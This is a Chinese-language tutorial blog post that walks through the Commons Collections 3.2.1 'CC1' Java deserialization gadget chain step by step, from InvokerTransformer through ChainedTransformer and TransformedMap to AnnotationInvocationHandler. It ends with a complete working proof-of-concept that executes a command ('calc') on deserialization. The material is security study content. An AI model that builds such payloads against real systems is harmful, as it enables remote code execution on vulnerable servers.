首页 > 其他分享 >CC1链详解

CC1链详解

时间:2023-02-11 23:12:26浏览次数:41  
标签:InvokerTransformer map Object CC1 Class 详解 new class

前言:这篇文章是对CC1的总结,个人学习,如有不对请多指教。谢谢!

环境:jdk8u71以下,因为在该jdk版本以上这个漏洞已经被修复了

下载链接:https://www.oracle.com/cn/java/technologies/javase/javase8-archive-downloads.html

maven:https://mvnrepository.com/artifact/commons-collections/commons-collections/3.2.1 有漏洞的版本是commons-collections3.2.1

sun源码:https://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/af660750b2f4 拷贝到jdk目录下,这样便于阅读jdk源码

序列化与反序列化函数

1     public static void serialize(Object obj) throws Exception{
2         ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
3         oos.writeObject(obj);
4     }
5     public static Object unserialize(String Filename) throws Exception{
6         ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
7         Object obj = ois.readObject();
8         return obj;
9     }

首先,我们要知道,反序列化漏洞归根结底就是需要调用到危险函数,然后有些类会重写readObject方法,那么如果在调用Object方法的时候传入了具有危险方法的类,那么就会触发反序列化漏洞。CC链的作者发现在commons-collections下有一个Transformer接口

实现了Transformer接口的类

 

 

主要来看一下一下几个实现类中对transformer方法的实现:

ChainedTransformer:

    public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }

可以看到,这个方法会接受一个Object数组,在调用这个方法的时候,会从构造函数接收的iTransformers中的类去调用transform方法,直到结束。

ConstantTransformer:

    public Object transform(Object input) {
        return iConstant;
    }

无论该方法接受的对象是什么类型,最后都会返回的是类初始化时接受的对象类型。

InvokerTransformer:

public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
                
        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }

可以看到,在这个类中,transform方法调用时,会反射调用iMethodName方法,然后执行,而且,方法名称和参数是我们可以控制的,这就是我们要找的危险函数。

InvokerTransformer的简单利用

我们知道,在java中要执行命令,需要利用Runtime类,那么简单的使用Runtime去执行命令就可以利用以下的写法:

     Runtime.getRuntime().exec("calc");

反射调用的写法:

        Runtime runtime = Runtime.getRuntime();
        Class c = Runtime.class;
        Method execMethod = c.getMethod("exec",String.class);
        execMethod.invoke(runtime,"calc");

利用InvokerTransformer类的写法:

        Runtime runtime = Runtime.getRuntime();
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);

 寻找调用了transform方法的类

现在我们已经找到了危险方法,也知道了如何去利用该危险方法,那么我们现在就需要去寻找,还有哪些类同样调用了InvokerTransformer中的transform方法,这样我们才能加以利用

 

 

 可以看到,以上很多的类都调用了transform方法,但是我们需要找到的是不同名类但是调用了同名方法的地方,所以很多同名函数都是不可加以利用的,为了简单起见,我们选择TransformedMap这个类。因为这个类中好几处都调用了transform方法。

TransformedMap的构造函数:

    protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    }

因为这个构造函数是protected修饰的,所以只能在类内被调用,但是,我们发现这个方法被类中的一个public方法decorate调用了,那么我们就可以通过该方法给他传值,然后再去想办法调用transform方法,从而实现利用

    public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }

具体构造代码如下:

        InvokerTransformer invokerTransformer =  new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        HashMap<Object,Object> map = new HashMap<Object, Object>();
        TransformedMap.decorate(map,null,invokerTransformer);

但是,我们会发现,在TransformedMap中,只有checkSetValue中会使value值去调用transform方法,但是这个方法又是protected修饰的,那么我们就需要去看一下有没有别的地方调用了这个方法。可以发现,在MapEnter的setValue中调用了这个方法

 

 

 

 我们知道,MapEnter是在Map遍历的时候使用的,实际上这个方法就是重写了entry中的setValue方法,那么我们只要遍历被修饰过的Map,就会走到这个方法中,所以利用代码如下:

        Runtime runtime = Runtime.getRuntime();
        InvokerTransformer invokerTransformer =  new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        HashMap<Object,Object> map = new HashMap<Object, Object>();
        map.put("kay","value");
        Map<Object,Object> transformedMap  = TransformedMap.decorate(map,null,invokerTransformer);
        for(Map.Entry entry:transformedMap.entrySet()){
            entry.setValue(runtime);
        }

那么我们现在要去寻找,是否存在某个类,在readObject时调用了setValue方法,可以发现在AnnotationInvocationHandler的readObject中调用了该方法。

我们可以看一下,这个类的构造函数,可以看到,构造函数的第二个参数传入的是一个map类型,使我们可控的,所以我们可以利用这个类的readObject方法来实现利用

    AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
        Class<?>[] superInterfaces = type.getInterfaces();
        if (!type.isAnnotation() ||
            superInterfaces.length != 1 ||
            superInterfaces[0] != java.lang.annotation.Annotation.class)
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        this.type = type;
        this.memberValues = memberValues;
    }

因为这个类的构造函数是default修饰的,所以我们只能通过反射的方法来构造,然后进行序列化和反序列化就可以了。

        InvokerTransformer invokerTransformer =  new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        HashMap<Object,Object> map = new HashMap<Object, Object>();
        map.put("kay","value");
        Map<Object,Object> transformedMap  = TransformedMap.decorate(map,null,invokerTransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        //第一个参数继承了注解,我们先用override尝试
        Object o = constructor.newInstance(override.class,transformedMap);
        serialize(o);
        unserialize("ser.bin");

存在的问题

通过以上的代码实际上并不能实现利用,因为还存在以下的问题:

1.setValue方法中的值,是方法自动生成的,我们无法控制

2.Runtime对象无法序列化

3.setValue中的if判断需要满足

如何解决?

1.Runtime对象无法序列化的解决办法

我们知道Class是可以被序列化的,但是Runtime.class是可以被序列化的,那么我可以通过反射来获取

        Class c = Runtime.class;
        Method getRuntimeMethod = c.getMethod("getRuntime");
        Runtime runtime = (Runtime) getRuntimeMethod.invoke(null,null);
        Method execMethod = c.getMethod("exec", String.class);
        execMethod.invoke(runtime,"calc");

修改成invokeTransformer版本

        Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",
                new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null})
                .transform(Runtime.class);
        Runtime runtime = (Runtime)new InvokerTransformer("invoke",
                new Class[]{Object.class,Object[].class},new Object[]{null,null})
                .transform(getRuntimeMethod);
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);

可以发现,实际上后一个的返回值会作为前一个的transform的参数,那么就可以去使用之前提到的ChainedTransformer

        Transformer[] transformers = new Transformer[]{
                new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        chainedTransformer.transform(Runtime.class);

然后利用之前的代码进行调用

        Transformer[] transformers = new Transformer[]{
                new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object,Object> map = new HashMap<Object, Object>();
        map.put("kay","value");
        Map<Object,Object> transformedMap  = TransformedMap.decorate(map,null,chainedTransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        //第一个参数继承了注解,我们先用override尝试
        Object o = constructor.newInstance("override",transformedMap);
        serialize(o);
        unserialize("ser.bin");

但是发现还有运行不了,现在来解决剩下的两个问题

2.setValue中的if判断需要满足

 

 可以看到,type的值是从传入的type类型获取的,但是override中不存在任何的值,但是target中存在,所以我们可以利用target来替代,而且因为target中的值为value,所以我们要修改map中的值为value

        Object o = constructor.newInstance(Target.class,transformedMap);
        map.put("value","value");

3.setValue方法中的值,是方法自动生成的,我们无法控制

上面提到过ConstantTransformer会一直返回初始化的Transformer,那么我们就可以利用他来避免readObject中的修改。

所以完整poc如下:

 1         Transformer[] transformers = new Transformer[]{
 2                 //避免被readObject修改
 3                 new ConstantTransformer(Runtime.class),
 4                 new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
 5                 new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null,null}),
 6                 new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
 7         };
 8         ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
 9         HashMap<Object,Object> map = new HashMap<Object, Object>();
10         map.put("value","value");
11         Map<Object,Object> transformedMap  = TransformedMap.decorate(map,null,chainedTransformer);
12         Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
13         Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);
14         constructor.setAccessible(true);
15         //第一个参数继承了注解,我们先用override尝试
16         Object o = constructor.newInstance(Target.class,transformedMap);
17         serialize(o);
18         unserialize("ser.bin");

 

标签:InvokerTransformer,map,Object,CC1,Class,详解,new,class
From: https://www.cnblogs.com/LeslieSec/p/17112646.html

相关文章

  • 768~769 MVC_jsp演变历史,MVC详解
    MVC:开发模式jsp演变历史1.早期只有servlet,只能使用response输出标签数据,非常麻烦2.后来又jsp,简化了Servlet的开发,如果过度使用jsp,在jsp中即写大......
  • Android-Service详解
    前言Service是长期运行在后台的应用程序组件。Service 是和应用程序在同一个进程中,所以应用程序关掉了,Service也会关掉。可以理解为Service是不能直接处理耗时操作的......
  • "万字" Java I/O 详解
    JavaI/O流讲解每博一文案谁让你读了这么多书,又知道了双水村以外还有一个大世界,如果从小你就在这个天地里,日出而作,日落而息。那你现在就会和众乡亲抱同一理想:经过几年......
  • 神经网络基础部件-BN层详解
    一,数学基础1.1,概率密度函数随机变量(randomvariable)是可以随机地取不同值的变量。随机变量可以是离散的或者连续的。简单起见,本文用大写字母$X$表示随机变量,小写字母$x......
  • MVC_详解与EL_概述
    MVC_详解MVC:1.M:Model,模型完成具体的业务操作,如:查询数据库,封装对象2.V:View,视图......
  • Go Channel 详解
    分类 编程技术Channel类型blockingBufferedChannelsRangeselecttimeoutTimer和Tickerclose同步参考资料Channel是Go中的一个核心类型,你可以把它看成一个......
  • js中的闭包详解
    闭包:闭包的应用直接上代码理解:functiondoSth(t,cb){returnfunction(){if(--t===0){cb()}}}functionlogSth(){console.log('嘿嘿嘿');}letfn=doSth(4,lo......
  • MVC详解-EL_概述
    MVC详解1.M:Model,模型。JavaBean完成具体的业务操作,如:查询数据库,封装对象2.V:View,视图。JSp展示数据3.C:controller,控制器。Servlet......
  • 前端面试真题,两周刷完100道。1.时间空间复杂度详解
    时间空间复杂度详解什么是复杂度程序执行时需要的计算量和内存空间(和代码是否简介无关系)复杂度是数量级,不是具体的数字一般针对一个具体的算法,而非一个完整的系统......
  • 联合体详解 联合体的内存大小解析 联合体内存使用方法 如何用联合体判断大小端
    作者的话本文介绍联合体的定义、如何使用联合体,包括联合体的声明、联合体变量创建、联合体内存使用,以及联合体大小的计算,最后附上用联合体判断当前环境是大端还是小端的方......